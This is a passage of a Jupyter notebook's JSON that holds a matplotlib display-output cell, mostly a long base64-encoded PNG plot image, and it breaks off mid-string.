"<matplotlib.axes.AxesSubplot at 0x12d08da10>" ] }, { "metadata": {}, "output_type": "display_data", "png": "iVBORw0KGgoAAAANSUhEUgAAA28AAAF0CAYAAAC0QQGNAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzt3X1wleWd//HPSUgCMUh4MEradbMxgKNFreyYHWWJbcIQ\n3aULiqJF1zrVqkVX3V2m2q4OditbF3Vtp+quq7audaM1AxTlQSBqNDyupCgUGdQUUAJGBAOpCQnJ\n/fvDcn4JYE6S83Cf6/q+XzPO5NxJzrne3oFzvpzrnESCIAgEAAAAAEhrGWEvAAAAAAAQG8MbAAAA\nADiA4Q0AAAAAHMDwBgAAAAAOYHgDAAAAAAcwvAEAAACAAxjeACCF6uvrJUm1tbUhrwQAALiG4Q0A\nUui///u/JUkPPvhgUm9n586duvHGG3X77bfrzjvv1K9+9auk3p7PVq1apcmTJ2v9+vVhLwUAYNyg\nsBcAABadcsopSb3+hx9+WD/72c+Um5ub1NuxoKKiQrt37w57GQAA8MwbAIQh2cNbe3s7gxsAAJ7h\nmTcASIEtW7boqaeeUm1tre688069+uqr6ujo0Pe+9z2deeaZfb6epUuX6qWXXtLgwYPV3t6uiy++\nWFdccUX085s3b9bTTz+tNWvW6M4775QkDRs2THPnzu3zbbz//vt67LHHtHv3bt177716+OGHddJJ\nJ2nYsGH613/9V7366qt64IEH9OMf/1ilpaU9vv6FF16QJL300kv693//d1144YX6/PPPFQSBRowY\noR//+MfR27njjjv06aefKjs7W3l5eTp48KCuvfZaffOb34x+zTvvvKP/+Z//USQSkSRlZmbqrrvu\nUn5+viTp008/1bx58/TOO+/o6aef1rx58zRo0CB1dXXp0UcflSR9/vnnuueee9TR0aHBgwdLko4c\nOaKHH364z/9PJGn37t267bbbFASBJOnP/uzPNGfOHGVkZOjAgQOaMmWKvv71r+uBBx5Qfn6+3n33\nXf3gBz/QSSedpKqqqj7dRmNjY3RLbUZGho4cOaJ7771XI0aMiH7NW2+9pSeeeEKDBw/WJ598ooqK\nCj355JOaM2eOLrvsMknSL3/5S23dulVBEKi9vV1/+Zd/qb//+7/vV+8rr7yiBQsWKCsrS/v379cF\nF1ygZcuW6e6779bFF18c8+dEkj777DP927/9mzo6OqLXe/fdd0f/8eKnP/2pampqtHLlSknS//7v\n/2rhwoWaMWOGZs6cqerqaj300EP63ve+p+XLl2vUqFFqb2/XxIkTdd111/WrBwC8EAAAUmb27NlB\nEATBzTff3O/vfe2114Kf/OQnPY499thjQXV19XFfO5DrP9aFF14Y3H777UFra+txn/vVr34VrFu3\nrtfbnDp1avDWW29FLz/xxBNBbW1t9PKOHTuC8vLyHtc/a9as6McffvhhMG/evB7X2dTUFPzDP/zD\nceuZNm1acP311wf79+8/7nOLFi0KFixYEL185MiR4L/+67+O+7re/PKXvwwuvvji4NChQ9Fjy5Yt\n67G+TZs2BfPnz+/xfd///veDlpaWft1WdwcOHAjuvvvu6OXdu3cHN910U9DV1RUEwRctM2bMCO67\n777o1zz11FPBxo0be1zP4sWLg6qqqj7f7qZNm3rc7ueffx5cdNFFwTPPPHPc137Zz0lXV1fwne98\nJ9i9e3f02L59+4Jrrrkm6OjoiB479ufm9ddfD55//vno5blz5wbTpk3r8T0PPvhg8PLLL/e5BwB8\nwTNvAJACv/71r7VmzRr97ne/06233qp33nlHc+bM0X333dfn7Y0vvvhi9Nmko2655Rbdcsstuvzy\nyxO+5nHjxumRRx4Z8Pd/5Stf0YQJE6KXx44dqz179vT4msmTJ0efDZOkoUOHRj9evHix3nvvvegz\niEc1Njaqra2tx/eNGDFCTz311AnXMXnyZM2bN08bN25Ufn6+zjvvPN144439aolEIrr99tuVl5cX\nPVZZWalFixZFL5977rn6xS9+ocOHDysnJ0cNDQ0qKCjQSSed1OfbaW5u1s9//nPt27dPGRkZ6urq\nUnt7e/TzL730kmbPnt3jmch/+Zd/6bGOxYsXa/PmzXr22Wd7XPfw4cP7vI4XXnhBd911V/TykCFD\nNGfOHH322WfHfe2X/Zx88MEHGj9+vAoLC6PHRo4cqUsuuUTr16/XRRdd1Of1zJ07V4MG/f+HLP/0\nT/+kG264QX/zN3/T5+sAAB8wvAFAClxzzTX667/+az3//POaNm2a1q1bN6BtX0EQRB+4J1tOTk5K\nbufLZGZmavr06Zo6dWrMr83Ozv7Sz+Xm5uonP/mJpC+Go9WrV+u2227TL37xi36tJ/jTdsnuMjJ6\nvnT8hhtu0JNPPqnZs2fr0Ucf1Q9/+MN+3cY//uM/6gc/+IHGjh0bPXbLLbdEP45EIurq6urxPSe6\n/PDDD8f1cxKJRI7rPfZ2jhrIz8mJ/l/25tjbDoIg9J9PAAgDb1gCACn2ySefDOj7ZsyYoXnz5vU4\n9sQTT6i8vDwRy+qXESNG9OjYuHGj9u/f3+v3HPuAPdYD+CuvvFI///nP9emnn/Y4/sorr+jw4cN9\nXuvdd9+t1tZWSV+8/u+SSy6JudZjBUGgBx54QC0tLdFjK1asUHFxcY+vKy0t1e9+9zvt2rVLWVlZ\nGjlyZL9uR1KPwW3p0qU9Pjd16lT953/+Z3SY6ezs1M9+9rMeXzNr1izdfffdPY59/vnn0deV9cXM\nmTM1f/786OXW1lY99thj/RoIS0pK9M477/R4p879+/dr2bJl+qu/+qseX3u0p6ur67h1BkGg+fPn\n68iRI9FjDz/8sKZPn97ntQCAL3jmDQBSrKmpaUDf941vfEN//OMfdfPNNys3N1eHDx/WpEmTNGPG\njOjXvPrqq3rppZd6vGHJmWeeqZtuuqnPt1NdXa3Vq1f3uI4LLrhAV199dfRrLrnkEt1666167bXX\n1NHRocLCQn344Yd65ZVXNGXKFD3xxBNas2aN/uM//kN33nmn2tra9MQTT6ilpUUVFRXKysrSvHnz\ntG3bNk2cOFEXXXRR9DYfffRRzZ49W8OHD9fTTz+te++9V9nZ2Wpra9ORI0dUVlYWfdblRL0lJSWa\nPXt2dK2tra366U9/qo6ODrW1tamlpUU333xzn/9/vPrqq6qqqtJ3v/tdff/731deXp4yMzNVVFSk\nf/7nfz7u66+99lp961vf0pIlS/p8G0dNmTJFt956q4YMGaLW1ladc845WrNmjZ555hldd911Gj16\ntK6//nrdfPPNGjJkiFpaWnTFFVforbfeil7HzJkzlZubqxtvvFEnnXSS/vjHPyo7O1u33XZbn9dx\nzjnnaPfu3brpppuUk5OjtrY2XX/99T3eeKQvPyePPPKI7r//fh05ciT6bN5DDz3UYwvkDTfcoO9+\n97saNWqUDh48qFNOOUW//vWvNXnyZI0YMUKRSETXXHONbrzxRuXl5enIkSP6xje+oYqKin7//wUA\n10WCPuxdaGho0MaNG5WTk6PKykrt379fNTU1yszMVFlZmUaPHi1J2rt3b7+OA4AlLS0t+v3vf6+T\nTz5ZQRDorLPOCntJSIIDBw7oRz/6kR577LGU3N7u3bv19NNP65577knq7axevVoNDQ269tprk3o7\n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